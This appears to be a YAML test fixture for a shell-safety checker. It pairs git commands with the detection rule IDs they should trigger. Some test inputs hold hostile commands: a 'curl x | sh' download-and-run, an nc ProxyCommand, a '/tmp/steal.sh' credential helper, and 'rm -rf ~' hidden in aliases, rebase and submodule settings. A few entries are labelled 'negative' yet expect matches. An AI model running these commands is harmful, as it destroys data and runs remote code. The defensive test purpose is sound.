---
- test: "git bisect start"
description: "match bisect start"
expect_ids: ["git:bisect"]
- test: "git bisect good"
description: "match bisect good"
expect_ids: ["git:bisect"]
- test: "git bisect bad"
description: "match bisect bad"
expect_ids: ["git:bisect"]
- test: "git bisect reset"
description: "match bisect reset"
expect_ids: ["git:bisect"]
- test: "git cherry-pick --abort"
description: "match aborting a cherry-pick"
expect_ids: ["git:cherry_pick"]
- test: "git cherry-pick --skip"
description: "match skipping the commit being cherry-picked"
expect_ids: ["git:cherry_pick"]
- test: "git cherry-pick --no-commit abc123"
description: "negative: applying a commit without committing it"
expect_ids: []
- test: "git clean -fd"
description: "match force clean command"
expect_ids: ["git:clean_force"]
- test: "git clean -fdx"
description: "match force clean command with x option"
expect_ids: ["git:clean_force"]
- test: "git rm *"
description: "match command"
expect_ids: ["git:delete_all"]
- test: "git rm ."
description: "match command"
expect_ids: ["git:delete_all"]
- test: "git rm README.md"
description: "negative: removing a specific file should not match"
expect_ids: []
- test: "gitt rm"
description: "invalid command"
expect_ids: []
- test: "git update-ref -d refs/heads/feature"
description: "match delete reference"
expect_ids: ["git:delete_ref"]
- test: "git update-ref -d HEAD"
description: "match delete HEAD reference"
expect_ids: ["git:delete_ref"]
- test: "git filter-branch --env-filter"
description: "match filter-branch command"
expect_ids: ["git:filter_branch"]
- test: "git filter-branch --force"
description: "match filter-branch with force"
expect_ids: ["git:filter_branch"]
- test: "git checkout -f main"
description: "match force checkout"
expect_ids: ["git:force_checkout"]
- test: "git checkout -f"
description: "match force checkout current branch"
expect_ids: ["git:force_checkout"]
- test: "git branch -D feature"
description: "match force delete branch"
expect_ids: ["git:force_delete_branch"]
- test: "git branch -D"
description: "match force delete current branch"
expect_ids: ["git:force_delete_branch"]
- test: "git push -f"
description: "match force push command"
expect_ids: ["git:force_push"]
- test: "git push --force"
description: "match force push with long option"
expect_ids: ["git:force_push"]
- test: "git push origin --force"
description: "match force push with remote before flag"
expect_ids: ["git:force_push"]
- test: "git push origin main --force"
description: "match force push with remote and branch before flag"
expect_ids: ["git:force_push"]
- test: "git push origin -f"
description: "match force push with remote before short flag"
expect_ids: ["git:force_push"]
- test: "git push --force-with-lease"
description: "force push with lease is the safe alternative and should not match"
expect_ids: []
- test: "git gc --prune=now"
description: "match garbage collection with prune"
expect_ids: ["git:gc_prune"]
- test: "git gc --prune=now"
description: "match garbage collection with prune and extra spaces"
expect_ids: ["git:gc_prune"]
- test: "git gc --aggressive"
description: "match aggressive garbage collection"
expect_ids: []
- test: "git gc --prune"
description: "should not match without =now"
expect_ids: []
- test: "git rebase -i HEAD~3"
description: "match interactive rebase"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git rebase -i"
description: "match interactive rebase without range"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git merge --no-ff feature"
description: "negative: a non-fast-forward merge only adds a merge commit"
expect_ids: []
- test: "git merge --abort"
description: "match merge abort"
expect_ids: ["git:merge_no_ff"]
- test: "git merge --no-ff"
description: "negative: non-fast-forward merge without branch"
expect_ids: []
- test: "git reset"
description: "match command"
expect_ids: []
- test: "git reset"
description: "match command"
expect_ids: []
- test: "gitt reset"
description: "invalid command"
expect_ids: []
- test: "git worktree add ../other"
description: "negative: adding a worktree only creates a new checkout"
expect_ids: []
- test: "git worktree add -B main ../other origin/main"
description: "match add worktree that resets an existing branch"
expect_ids: ["git:worktree_management"]
- test: "git worktree remove ../other"
description: "match remove worktree"
expect_ids: ["git:worktree_management"]
- test: "git worktree add -f ../other"
description: "negative: force add worktree (a new checkout, nothing removed)"
expect_ids: []
- test: "git worktree remove -f ../other"
description: "match force remove worktree"
expect_ids: ["git:worktree_management"]
- test: "git add ."
description: "match add all files"
expect_ids: ["git-strict:add_all"]
- test: "git add -A"
description: "match add all files with -A"
expect_ids: ["git-strict:add_all"]
- test: "git add --all"
description: "match add all files with --all"
expect_ids: ["git-strict:add_all"]
- test: "git add README.md"
description: "negative: adding a specific file should not match"
expect_ids: []
- test: "git status"
description: "negative: status command should not match add pattern"
expect_ids: []
- test: "git commit --all"
description: "match commit all changes"
expect_ids: ["git-strict:commit_all"]
- test: "git commit -a"
description: "match commit all with short option"
expect_ids: ["git-strict:commit_all"]
- test: "git commit -am 'message'"
description: "match commit all with message"
expect_ids: ["git-strict:commit_all"]
- test: "git commit -m 'test'"
description: "negative: commit with only -m (no -a) should not match"
expect_ids: []
- test: "git commit --amend"
description: "negative: amend should not match commit-all check"
expect_ids: []
- test: "git commit --author='someone'"
description: "negative: author flag should not match commit-all check"
expect_ids: []
- test: "git tag -a v1.0.0"
description: "match create annotated tag"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a"
description: "match create annotated tag without name"
expect_ids: ["git-strict:create_tag"]
- test: "git tag v1.0.0"
description: "negative: lightweight tag without -a should not match"
expect_ids: []
- test: "git rebase main"
description: "match basic rebase"
expect_ids: ["git-strict:rebase"]
- test: "git rebase"
description: "match rebase without branch"
expect_ids: ["git-strict:rebase"]
- test: "git pull --rebase main"
description: "negative: pull with --rebase flag is not a rebase command"
expect_ids: []
- test: "git stash pop"
description: "negative: stash pop keeps the entry if applying it fails"
expect_ids: []
- test: "git stash drop"
description: "match stash drop"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash list"
description: "negative: listing stash entries should not match"
expect_ids: []
- test: "git submodule update"
description: "match submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule deinit"
description: "match submodule deinit"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --remote --init"
description: "match submodule update --remote with init"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule status"
description: "negative: checking submodule status should not match"
expect_ids: []
- test: "git clean -df"
description: "flag reorder -df now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -fxd"
description: "flag reorder -fxd now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -xfd"
description: "flag reorder -xfd now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -dfx"
description: "flag reorder -dfx now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -xdf"
description: "flag reorder -xdf now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -dxf"
description: "flag reorder -dxf now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -f -d"
description: "separate -f -d flags now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -d -f"
description: "separate -d -f flags now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -f -d -x"
description: "three separate flags now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -fdX"
description: "-fdX starts with -fd, matches"
expect_ids: ["git:clean_force"]
- test: "git clean -fd"
description: "extra spaces, still matches"
expect_ids: ["git:clean_force"]
- test: "git clean -fdn"
description: "-fdn starts with -fd, '-n' substring not present (n preceded by d not -)"
expect_ids: []
- test: "git branch --delete --force feature"
description: "long-form --delete --force now matched after regex fix"
expect_ids: ["git:force_delete_branch"]
- test: "git branch -d --force feature"
description: "-d with --force now matched after regex fix"
expect_ids: ["git:force_delete_branch"]
- test: "git branch -D feature/my-branch"
description: "branch with slash in name"
expect_ids: ["git:force_delete_branch"]
- test: "git checkout --force main"
description: "long-form --force now matched after regex fix"
expect_ids: ["git:force_checkout"]
- test: "git checkout -f -- ."
description: "force checkout with -- separator"
expect_ids: ["git:checkout_discard_all", "git:force_checkout"]
- test: "git checkout -- ."
description: "match checkout discard all changes"
expect_ids: ["git:checkout_discard_all"]
- test: "git checkout -- ./"
description: "match checkout discard all with trailing slash"
expect_ids: ["git:checkout_discard_all"]
- test: "git checkout -- *"
description: "match checkout discard with glob"
expect_ids: ["git:checkout_discard_all"]
- test: "git checkout -- ."
description: "match checkout discard all with extra spaces"
expect_ids: ["git:checkout_discard_all"]
- test: "git checkout -- file.txt"
description: "negative: checkout specific file should not match"
expect_ids: ["git:checkout_discard_path"]
- test: "git checkout -- src/main.rs"
description: "negative: checkout specific file path should not match"
expect_ids: ["git:checkout_discard_path"]
- test: "git checkout -- .gitignore"
description: "negative: checkout dotfile should not match"
expect_ids: ["git:checkout_discard_path"]
- test: "git checkout -- .env"
description: "negative: checkout .env file should not match"
expect_ids: ["git:checkout_discard_path"]
- test: "git restore -- src"
description: "after --"
expect_ids: ["git:restore_discard_path"]
- test: "git restore --staged README.md"
description: "negative: unstaging only"
expect_ids: []
- test: "git restore --staged --worktree README.md"
description: "unstaging and discarding"
expect_ids: ["git:restore_discard_path"]
- test: "git restore ."
description: "match restore discard all changes"
expect_ids: ["git:restore_discard_all"]
- test: "git restore ./"
description: "match restore discard all with trailing slash"
expect_ids: ["git:restore_discard_all"]
- test: "git restore *"
description: "match restore discard with glob"
expect_ids: ["git:restore_discard_all"]
- test: "git restore --staged ."
description: "negative: --staged only unstages, the working tree is kept"
expect_ids: []
- test: "git restore --staged ./"
description: "negative: --staged only unstages, the working tree is kept"
expect_ids: []
- test: "git restore --source=HEAD ."
description: "match restore with source flag"
expect_ids: ["git:restore_discard_all"]
- test: "git restore --staged --worktree ."
description: "match restore with multiple flags"
expect_ids: ["git:restore_discard_all"]
- test: "git restore ."
description: "match restore discard all with extra spaces"
expect_ids: ["git:restore_discard_all"]
- test: "git restore file.txt"
description: "a path: discards its changes like git checkout -- <path>"
expect_ids: ["git:restore_discard_path"]
- test: "git restore --staged file.txt"
description: "negative: restore staged specific file should not match"
expect_ids: []
- test: "git restore src/main.rs"
description: "a path: discards its changes like git checkout -- <path>"
expect_ids: ["git:restore_discard_path"]
- test: "git restore .gitignore"
description: "a path: discards its changes like git checkout -- <path>"
expect_ids: ["git:restore_discard_path"]
- test: "git restore .env"
description: "a path: discards its changes like git checkout -- <path>"
expect_ids: ["git:restore_discard_path"]
- test: "git reset --hard"
description: "hard reset, most dangerous variant"
expect_ids: ["git:reset"]
- test: "git reset --hard HEAD~3"
description: "hard reset to specific commit"
expect_ids: ["git:reset"]
- test: "git reset --soft HEAD~1"
description: "soft reset filtered out by NotContains"
expect_ids: []
- test: "git reset --hard origin/main"
description: "hard reset to remote"
expect_ids: ["git:reset"]
- test: "git push --mirror origin"
description: "match push --mirror with remote"
expect_ids: ["git:push_mirror"]
- test: "git push origin --mirror"
description: "match push with remote before --mirror"
expect_ids: ["git:push_mirror"]
- test: "git push --mirror"
description: "match push --mirror without remote"
expect_ids: ["git:push_mirror"]
- test: "git push origin main"
description: "negative: regular push should not match mirror"
expect_ids: []
- test: "git push origin --delete feature-branch"
description: "match push --delete branch"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin --delete main"
description: "match push --delete main branch"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin :feature-branch"
description: "match push colon syntax to delete remote branch"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin main"
description: "negative: regular push should not match delete"
expect_ids: []
- test: "git reflog expire --expire=now --all"
description: "match reflog expire now with --all"
expect_ids: ["git:reflog_expire"]
- test: "git reflog expire --expire=now"
description: "match reflog expire now without --all"
expect_ids: ["git:reflog_expire"]
- test: "git reflog show"
description: "negative: reflog show should not match"
expect_ids: []
- test: "git reflog expire --expire=90.days"
description: "negative: normal expire should not match"
expect_ids: []
- test: "git stash clear"
description: "match stash clear"
expect_ids: ["git:stash_clear"]
- test: "git stash clear"
description: "match stash clear with extra spaces"
expect_ids: ["git:stash_clear"]
- test: "git stash list"
description: "negative: stash list should not match"
expect_ids: []
- test: "git stash pop"
description: "negative: stash pop should not match stash_clear"
expect_ids: []
- test: "git stash drop"
description: "negative: stash drop should not match stash_clear"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git push origin feature --force-if-includes"
description: "force-if-includes is safe alternative and should not match"
expect_ids: []
- test: "git push origin -f"
description: "EDGE: force push with extra spaces"
expect_ids: ["git:force_push"]
- test: "git push -f origin main"
description: "EDGE: -f immediately after push before remote"
expect_ids: ["git:force_push"]
- test: "git gc --aggressive --prune=now"
description: "match gc with intervening flags before --prune=now"
expect_ids: ["git:gc_prune"]
- test: "git reflog expire --all --expire=now"
description: "match reflog expire with intervening flags before --expire=now"
expect_ids: ["git:reflog_expire"]
- test: "git rm -f *"
description: "match rm with flag before wildcard"
expect_ids: ["git:delete_all", "git:rm_force"]
- test: "git rm -r ."
description: "match rm with flag before dot"
expect_ids: ["git:delete_all"]
- test: "git rm ."
description: "match rm dot with extra spaces"
expect_ids: ["git:delete_all"]
- test: "git rm .."
description: "negative: parent dir .. should not match delete all"
expect_ids: []
- test: "git clean --force -d"
description: "match clean with --force long-form"
expect_ids: ["git:clean_force"]
- test: "git clean -f -x -d"
description: "EDGE: three separate flags with -x between"
expect_ids: ["git:clean_force"]
- test: "git checkout main -f"
description: "match force checkout with -f after branch name"
expect_ids: ["git:force_checkout"]
- test: "git checkout --force"
description: "match force checkout with extra spaces"
expect_ids: ["git:force_checkout"]
- test: "git rebase --interactive HEAD~3"
description: "match interactive rebase with --interactive long-form"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git update-ref --delete refs/heads/main"
description: "match delete ref with --delete long-form"
expect_ids: ["git:delete_ref"]
- test: "git update-ref -d refs/stash"
description: "EDGE: extra spaces in delete ref"
expect_ids: ["git:delete_ref"]
- test: "git tag --annotate v1.0"
description: "match annotated tag with --annotate long-form"
expect_ids: ["git-strict:create_tag"]
- test: "git push --delete origin feature"
description: "match push delete with --delete before remote"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin --delete feature"
description: "match push delete with extra spaces"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin :refs/heads/feature"
description: "EDGE: full refspec delete"
expect_ids: ["git:push_delete_branch"]
- test: "git add -p ."
description: "EDGE: -p before dot - should not match add_all"
expect_ids: []
- test: "git add --all --verbose"
description: "EDGE: --all with trailing flag"
expect_ids: ["git-strict:add_all"]
- test: "git stash clearing"
description: "EDGE: word starting with clear should not match"
expect_ids: []
- test: 'git switch --discard-changes main'
description: "discard and switch"
expect_ids: ["git:switch_discard_changes"]
- test: 'git switch -f main'
description: "force switch"
expect_ids: ["git:switch_discard_changes"]
- test: 'git switch -c feature'
description: "negative: create branch"
expect_ids: []
- test: 'git config --global core.hooksPath /tmp/x'
description: "hooks path"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -i /tmp/k'''
description: "negative: a plain ssh with options (a deploy key) runs nothing else"
expect_ids: []
- test: 'git config core.sshCommand ''ssh -i k; curl x | sh'''
description: "an ssh command with shell code"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -o ProxyCommand=/tmp/x.sh'''
description: "ProxyCommand runs a program"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -oProxyCommand=/tmp/x.sh'''
description: "glued -o ProxyCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -o proxycommand=nc'''
description: "lower-case ProxyCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -o PermitLocalCommand=yes -o LocalCommand=/tmp/x'''
description: "LocalCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -o KnownHostsCommand=/tmp/x'''
description: "KnownHostsCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -F /tmp/evil_config'''
description: "-F config file can set ProxyCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -i k -o User=git -o LocalCommand=/tmp/x'''
description: "a bad -o after good ones"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -i ~/.ssh/k -o IdentitiesOnly=yes -p 2222'''
description: "negative: deploy key with safe -o options"
expect_ids: []
- test: 'git config core.sshCommand ''ssh -oStrictHostKeyChecking=accept-new'''
description: "negative: glued safe -o option"
expect_ids: []
- test: 'git config core.hooksPath'
description: "negative: reading the value"
expect_ids: []
- test: 'git restore --staged --worktree .'
description: "staged + worktree discards"
expect_ids: ["git:restore_discard_all"]
- test: 'git restore -S -W .'
description: "short flags"
expect_ids: ["git:restore_discard_all"]
- test: 'git reset'
description: "negative: mixed reset only unstages"
expect_ids: []
- test: 'git reset README.md'
description: "negative: unstage a path"
expect_ids: []
- test: 'git reset --hard'
description: "hard reset"
expect_ids: ["git:reset"]
- test: 'git rm -rf src'
description: "git rm -f discards local modifications"
expect_ids: ["git:rm_force"]
- test: 'git rm --cached -rf src'
description: "negative: --cached keeps the files"
expect_ids: []
- test: 'git rm -r src'
description: "negative: without -f git refuses to drop changes"
expect_ids: []
- test: 'git branch -f main HEAD~1'
description: "moving an existing branch"
expect_ids: ["git:branch_force_move"]
- test: 'git branch -f newthing'
description: "negative: no start point"
expect_ids: []
- test: 'git checkout -B main origin/main'
description: "checkout -B resets an existing branch"
expect_ids: ["git:checkout_reset_branch"]
- test: 'git switch -C main origin/main'
description: "switch -C resets an existing branch"
expect_ids: ["git:checkout_reset_branch"]
- test: 'git checkout -b feature/x'
description: "negative: -b creates a branch"
expect_ids: []
- test: 'git filter-repo --path src --invert-paths'
description: "filter-repo rewrites history"
expect_ids: ["git:filter_repo"]
- test: "shellfirm-force-push-protected main"
description: "marker emitted for --force-with-lease to a protected branch"
expect_ids: ["git:force_push_protected"]
- test: "shellfirm-force-push-unknown-target"
description: "marker emitted for --force-with-lease to a target only known at run time"
expect_ids: ["git:force_push_unknown_target"]
- test: "{git reset --hard;}"
description: "zsh brace group glued to the command"
expect_ids: ["git:reset"]
- test: "=git reset --hard"
description: "zsh =git"
expect_ids: ["git:reset"]
- test: "git -c alias.x='!rm -rf ~' x"
description: "a git shell alias runs its command"
expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "git config --global core.pager 'sh -c evil'"
description: "a global pager runs a program on every git command"
expect_ids: ["git:config_exec_program"]
- test: "git config --global alias.st '!curl x | sh'"
description: "a shell alias"
expect_ids: ["git:config_exec_program"]
- test: "git config core.editor vim"
description: "negative: a common editor"
expect_ids: []
- test: "git config core.editor ./x.sh"
description: "an editor that is another program"
expect_ids: ["git:config_exec_program"]
- test: "git config --get core.pager"
description: "negative: reading the value"
expect_ids: []
- test: "git config --global alias.st status"
description: "negative: a git alias (no shell)"
expect_ids: []
- test: "git -c core.pager=cat log -5"
description: "negative: a pager turned off for one command"
expect_ids: []
- test: "git -c core.fsmonitor=false status"
description: "negative: fsmonitor off"
expect_ids: []
- test: "git config core.fsmonitor false"
description: "negative: fsmonitor off, persistent"
expect_ids: []
- test: "git -c core.editor=true rebase --continue"
description: "negative for the program check: editor `true` (and continuing a rebase)"
expect_ids: []
- test: "git config --global core.pager delta"
description: "negative: a common pager"
expect_ids: []
- test: "git -c core.pager='sh -c x' log"
description: "a one-shot pager that runs shell code"
expect_ids: ["git:config_exec_program"]
- test: "git config --global uploadpack.packObjectsHook /tmp/x"
description: "packObjectsHook runs a program"
expect_ids: ["git:config_exec_hook"]
- test: "git config --global protocol.ext.allow always"
description: "the ext:: transport runs any command"
expect_ids: ["git:config_exec_hook"]
- test: "GIT_SSH_COMMAND='rm -rf ~' git fetch"
description: "GIT_SSH_COMMAND runs its value"
expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "mygit push -f"
description: "another tool whose name ends in git"
expect_ids: []
- test: "/usr/bin/git push -f"
description: "a path to git"
expect_ids: ["git:force_push"]
- test: "legit rebase main"
description: "a tool whose name ends in git"
expect_ids: []
- test: "git push origin --all --prune"
description: "deletes every remote branch without a local counterpart"
expect_ids: ["git:push_prune"]
- test: "git push --prune origin refs/heads/*:refs/heads/*"
description: "--prune with a refspec"
expect_ids: ["git:push_prune"]
- test: "git push --all --prune --dry-run origin"
description: "negative: a dry run"
expect_ids: []
- test: "git push --mirror -n"
description: "negative: a mirror dry run"
expect_ids: []
- test: "git push --delete origin main -n"
description: "negative: a delete dry run"
expect_ids: []
- test: "git push --delete origin main"
description: "still caught without -n"
expect_ids: ["git:push_delete_branch"]
- test: "git config --global credential.helper '!/tmp/steal.sh'"
description: "a !-prefixed credential helper runs shell code"
expect_ids: ["git:config_exec_program"]
- test: "git config core.editor"
description: "reading a setting (no value) only prints it"
expect_ids: []
- test: "git config core.pager"
description: "reading the pager setting is not an exec install"
expect_ids: []
- test: "git config --global credential.helper store"
description: "negative: the store helper is not shell code"
expect_ids: []
- test: "git merge --no-ff feature/login"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git merge --abort"
description: "the destructive form stays flagged"
expect_ids: ["git:merge_no_ff"]
- test: "git merge --no-ff --abort"
description: "the destructive form stays flagged"
expect_ids: ["git:merge_no_ff"]
- test: "git merge --no-ff feature/login && git merge --abort"
description: "the destructive form stays flagged"
expect_ids: ["git:merge_no_ff"]
- test: "git reset --hard ORIG_HEAD"
description: "the destructive form stays flagged"
expect_ids: ["git:reset"]
- test: "git merge --no-ff --no-edit feature/login"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git cherry-pick abc123"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git cherry-pick --abort"
description: "the destructive form stays flagged"
expect_ids: ["git:cherry_pick"]
- test: "git cherry-pick --skip"
description: "the destructive form stays flagged"
expect_ids: ["git:cherry_pick"]
- test: "git reset --hard HEAD~1"
description: "the destructive form stays flagged"
expect_ids: ["git:reset"]
- test: "git cherry-pick -x abc123"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git cherry-pick abc123..def456"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git cherry-pick --continue"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git stash pop"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git stash drop"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash drop stash@{0}"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash clear"
description: "the destructive form stays flagged"
expect_ids: ["git:stash_clear"]
- test: "git stash pop && git stash drop"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash pop stash@{1}"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git worktree add ../webapp-hotfix -b hotfix"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git worktree remove --force ../webapp-hotfix"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree remove ../webapp-hotfix"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree add -B main ../wt origin/main"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree add -B hotfix ../wt"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree add ../wt main && git worktree remove --force ../other"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git worktree add ../wt main"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git worktree remove --force ../wt"
description: "the destructive form stays flagged"
expect_ids: ["git:worktree_management"]
- test: "git rebase --continue"
description: "negative: routine form, nothing is lost"
expect_ids: []
- test: "git rebase -i HEAD~3"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git rebase --onto main HEAD~5"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase --skip"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase main"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase --abort"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase --continue --exec 'rm -rf ~'"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase"]
- test: "git rebase --continue && git rebase -i HEAD~3"
description: "the destructive form stays flagged"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git push --force -n --no-dry-run origin main"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:force_push"]
- test: "git clean -fdn --no-dry-run"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:clean_force"]
- test: "git push --mirror --dry-run --no-dry-run origin"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:push_mirror"]
- test: "git push origin --delete old -n --no-dry-run"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:push_delete_branch"]
- test: "git push --all --prune --dry-run --no-dry-run origin"
description: "a later dry-run value turns the dry run off"
expect_ids: ["git:push_prune"]
- test: "git push --no-dry-run --dry-run --force origin main"
description: "negative: the last dry-run value is a dry run"
expect_ids: []
- test: "git clean -fd --no-dry-run -n"
description: "negative: the last dry-run value is a dry run"
expect_ids: []
- test: "git submodule update --init --recursive"
description: "negative: only clones and checks out the recorded commits"
expect_ids: []
- test: "git submodule update --init"
description: "negative: only clones and checks out the recorded commits"
expect_ids: []
- test: "git submodule update --init --recursive --depth 1 -j 8 -- vendor/lib"
description: "negative: only clones and checks out the recorded commits"
expect_ids: []
- test: "git submodule update --recursive --init --jobs=4 --single-branch"
description: "negative: only clones and checks out the recorded commits"
expect_ids: []
- test: "git submodule deinit -f --all"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule deinit vendor/lib"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init -f"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --recursive --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --remote"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --rebase"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --merge"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init --checkout --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init; git submodule update --force"
description: "still updates or deinitializes submodules destructively"
expect_ids: ["git-strict:submodule_update"]
- test: "git -c submodule.lib.update='!rm -rf ~' submodule update --init"
description: "a -c value can name the command the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git config submodule.lib.update '!rm -rf ~' && git submodule update --init"
description: "an earlier segment can set the command the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git -C vendor submodule update --init"
description: "git global options keep it asked"
expect_ids: ["git-strict:submodule_update"]
- test: "git --git-dir=.git submodule update --init"
description: "git global options keep it asked"
expect_ids: ["git-strict:submodule_update"]
- test: "GIT_CONFIG_PARAMETERS=\"'submodule.lib.update=!rm -rf ~'\" git submodule update --init"
description: "git configuration from the environment keeps it asked"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init && make"
description: "negative: a command after the update cannot change what it ran"
expect_ids: []
- test: "git submodule update --init | sh"
description: "output piped into a shell keeps it asked"
expect_ids: ["git-strict:submodule_update"]
- test: "cd vendor && git submodule update --init"
description: "negative: only cd and inspection commands beside it"
expect_ids: []
- test: "git submodule update --init --recursive && git status"
description: "negative: only cd and inspection commands beside it"
expect_ids: []
- test: "git submodule update --init && ls vendor"
description: "negative: only cd and inspection commands beside it"
expect_ids: []
- test: "git push -o -n --force origin main"
description: "a dry-run word right after an option that may take a value is that value: a real run"
expect_ids: ["git:force_push"]
- test: "git clean -f -e -n"
description: "a dry-run word right after an option that may take a value is that value: a real run"
expect_ids: ["git:clean_force"]
- test: "git push --force -n origin main"
description: "negative: the word before the dry-run flag cannot take it as a value"
expect_ids: []
- test: "git clean -f -n"
description: "negative: the word before the dry-run flag cannot take it as a value"
expect_ids: []
- test: "git clean -fdn"
description: "negative: the word before the dry-run flag cannot take it as a value"
expect_ids: []
- test: "sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "doas git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -u root git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -E git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -i git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -s git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -- git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo -u dev git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo sh -c 'git merge --no-ff feature/login'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "su -c 'git merge --no-ff feature/login'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "su root -c 'git merge --no-ff feature/login'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "pkexec git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "run0 git merge --no-ff feature/login"
